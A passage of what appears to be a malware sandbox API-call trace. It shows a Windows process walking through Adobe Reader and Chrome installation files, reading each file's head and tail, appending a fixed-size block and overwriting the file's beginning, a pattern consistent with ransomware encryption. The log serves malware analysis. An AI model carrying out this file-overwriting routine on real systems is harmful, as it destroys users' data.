lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1038.mst", nBufferLength=0x104, lpBuffer=0x354f694, lpFilePart=0x354f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1038.mst", lpFilePart=0x354f690*="1038.mst") returned 0x64 [0044.734] GetLastError () returned 0x5 [0044.734] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x354f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p͔폈H͔퐔H͔L͔ꢠǦ\x01") returned 0x13 [0044.734] LocalFree (hMem=0x70b5a8) returned 0x0 [0044.734] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x354d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0044.734] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x354f894) [0044.735] RtlUnwind (TargetFrame=0x354f8fc, TargetIp=0x406ffc, ExceptionRecord=0x354f378, ReturnValue=0x0) [0044.735] RtlUnwind (TargetFrame=0x354f920, TargetIp=0x407184, ExceptionRecord=0x354f378, ReturnValue=0x0) [0044.735] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1038.mst" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\1038.mst")) returned 0x21 [0044.735] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1050.mst" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\1050.mst"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0044.736] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1050.mst", nBufferLength=0x104, lpBuffer=0x354f694, lpFilePart=0x354f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1050.mst", lpFilePart=0x354f690*="1050.mst") returned 0x64 [0044.736] GetLastError () returned 0x5 [0044.736] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x354f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p͔폈H͔퐔H͔L͔ꢠǦ\x01") returned 0x13 [0044.736] LocalFree (hMem=0x70b5a8) returned 0x0 [0044.736] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x354d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0044.736] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x354f894) [0044.736] RtlUnwind (TargetFrame=0x354f8fc, TargetIp=0x406ffc, ExceptionRecord=0x354f378, ReturnValue=0x0) [0044.737] RtlUnwind (TargetFrame=0x354f920, TargetIp=0x407184, ExceptionRecord=0x354f378, ReturnValue=0x0) [0044.737] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1050.mst" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\1050.mst")) returned 0x21 [0044.737] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\Data1.cab" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\data1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0044.738] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\Data1.cab", nBufferLength=0x104, lpBuffer=0x354f694, lpFilePart=0x354f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\Data1.cab", lpFilePart=0x354f690*="Data1.cab") returned 0x65 [0044.738] GetLastError () returned 0x5 [0044.738] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x354f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p͔폈H͔퐔H͔L͔ꢠǦ\x01") returned 0x13 [0044.738] LocalFree (hMem=0x70b5a8) returned 0x0 [0044.738] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x354d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0044.738] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x354f894) [0044.738] RtlUnwind (TargetFrame=0x354f8fc, TargetIp=0x406ffc, ExceptionRecord=0x354f378, ReturnValue=0x0) [0044.738] RtlUnwind (TargetFrame=0x354f920, TargetIp=0x407184, ExceptionRecord=0x354f378, ReturnValue=0x0) [0044.738] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\Data1.cab" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\data1.cab")) returned 0x21 [0044.739] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome_100_percent.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\chrome_100_percent.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0044.739] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0044.739] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x6f44c [0044.739] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0044.739] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.739] ReleaseMutex (hMutex=0x128) returned 1 [0044.739] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="chrome_100_percent.pak", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0044.739] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="chrome_100_percent.pak", cchWideChar=22, lpMultiByteStr=0x1e78974, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="chrome_100_percent.pak", lpUsedDefaultChar=0x0) returned 22 [0044.739] ReadFile (in: hFile=0x1c4, lpBuffer=0x276a328, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x354f278*=0x8000, lpOverlapped=0x0) returned 1 [0044.742] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x6e44c [0044.742] ReadFile (in: hFile=0x1c4, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.743] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x6e44c [0044.743] WriteFile (in: hFile=0x1c4, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.744] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0044.744] WriteFile (in: hFile=0x1c4, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x354f28c*=0x8000, lpOverlapped=0x0) returned 1 [0044.744] CloseHandle (hObject=0x1c4) returned 1 [0044.744] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer\\chrmstp.exe" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\installer\\chrmstp.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0044.744] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0044.745] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x1a3f58 [0044.745] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0044.745] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.745] ReleaseMutex (hMutex=0x128) returned 1 [0044.745] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="chrmstp.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0044.745] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="chrmstp.exe", cchWideChar=11, lpMultiByteStr=0x1e630ec, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="chrmstp.exe", lpUsedDefaultChar=0x0) returned 11 [0044.745] ReadFile (in: hFile=0x1c4, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x354f278*=0xf000, lpOverlapped=0x0) returned 1 [0044.747] ReadFile (in: hFile=0x1c4, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.748] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x1a2f58 [0044.748] ReadFile (in: hFile=0x1c4, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.750] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x1a2f58 [0044.751] WriteFile (in: hFile=0x1c4, lpBuffer=0x25c4dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c4dd8*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.751] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0044.751] WriteFile (in: hFile=0x1c4, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x354f28c*=0xf000, lpOverlapped=0x0) returned 1 [0044.752] WriteFile (in: hFile=0x1c4, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x354f28c*=0x1000, lpOverlapped=0x0) returned 1 [0044.752] CloseHandle (hObject=0x1c4) returned 1 [0044.752] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\el.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\el.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0044.752] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0044.752] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x8f814 [0044.752] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0044.752] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.753] ReleaseMutex (hMutex=0x128) returned 1 [0044.753] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="el.pak", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0044.753] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="el.pak", cchWideChar=6, lpMultiByteStr=0x1e6a7a4, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="el.pak", lpUsedDefaultChar=0x0) returned 6 [0044.753] ReadFile (in: hFile=0x1c4, lpBuffer=0x27bfb38, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesRead=0x354f278*=0xf000, lpOverlapped=0x0) returned 1 [0045.218] ReadFile (in: hFile=0x1c4, lpBuffer=0x27bfb38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.219] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x8e814 [0045.219] ReadFile (in: hFile=0x1c4, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.220] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x8e814 [0045.221] WriteFile (in: hFile=0x1c4, lpBuffer=0x25c74d8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c74d8*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0045.221] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0045.221] WriteFile (in: hFile=0x1c4, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x354f28c*=0xf000, lpOverlapped=0x0) returned 1 [0045.221] WriteFile (in: hFile=0x1c4, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x354f28c*=0x1000, lpOverlapped=0x0) returned 1 [0045.222] CloseHandle (hObject=0x1c4) returned 1 [0045.222] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\gu.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\gu.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0045.222] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0045.222] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x9f1a1 [0045.222] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0045.222] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.222] ReleaseMutex (hMutex=0x128) returned 1 [0045.222] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gu.pak", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0045.223] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gu.pak", cchWideChar=6, lpMultiByteStr=0x1e6a7a4, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gu.pak", lpUsedDefaultChar=0x0) returned 6 [0045.223] ReadFile (in: hFile=0x1c4, lpBuffer=0x27bfb38, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesRead=0x354f278*=0xf000, lpOverlapped=0x0) returned 1 [0045.226] ReadFile (in: hFile=0x1c4, lpBuffer=0x27bfb38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.227] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x9e1a1 [0045.227] ReadFile (in: hFile=0x1c4, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.229] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x9e1a1 [0045.229] WriteFile (in: hFile=0x1c4, lpBuffer=0x261bc78*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x261bc78*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0045.229] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0045.229] WriteFile (in: hFile=0x1c4, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x354f28c*=0xf000, lpOverlapped=0x0) returned 1 [0045.230] WriteFile (in: hFile=0x1c4, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x354f28c*=0x1000, lpOverlapped=0x0) returned 1 [0045.230] CloseHandle (hObject=0x1c4) returned 1 [0045.230] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\lt.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\lt.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0045.230] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0045.230] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x51c11 [0045.230] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0045.230] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.230] ReleaseMutex (hMutex=0x128) returned 1 [0045.230] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="lt.pak", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0045.231] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="lt.pak", cchWideChar=6, lpMultiByteStr=0x1e6a9fc, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lt.pak", lpUsedDefaultChar=0x0) returned 6 [0045.231] ReadFile (in: hFile=0x1c4, lpBuffer=0x276a328, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x354f278*=0x8000, lpOverlapped=0x0) returned 1 [0045.232] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x50c11 [0045.232] ReadFile (in: hFile=0x1c4, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.234] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x50c11 [0045.234] WriteFile (in: hFile=0x1c4, lpBuffer=0x261bc78*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x261bc78*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0045.235] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0045.235] WriteFile (in: hFile=0x1c4, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x354f28c*=0x8000, lpOverlapped=0x0) returned 1 [0045.235] CloseHandle (hObject=0x1c4) returned 1 [0045.235] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\ro.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\ro.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0045.236] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0045.236] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x51b03 [0045.236] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0045.236] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.236] ReleaseMutex (hMutex=0x128) returned 1 [0045.236] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ro.pak", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0045.236] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ro.pak", cchWideChar=6, lpMultiByteStr=0x1e6a7a4, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ro.pak", lpUsedDefaultChar=0x0) returned 6 [0045.236] ReadFile (in: hFile=0x1cc, lpBuffer=0x276a328, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x354f278*=0x8000, lpOverlapped=0x0) returned 1 [0045.238] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x50b03 [0045.238] ReadFile (in: hFile=0x1cc, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: 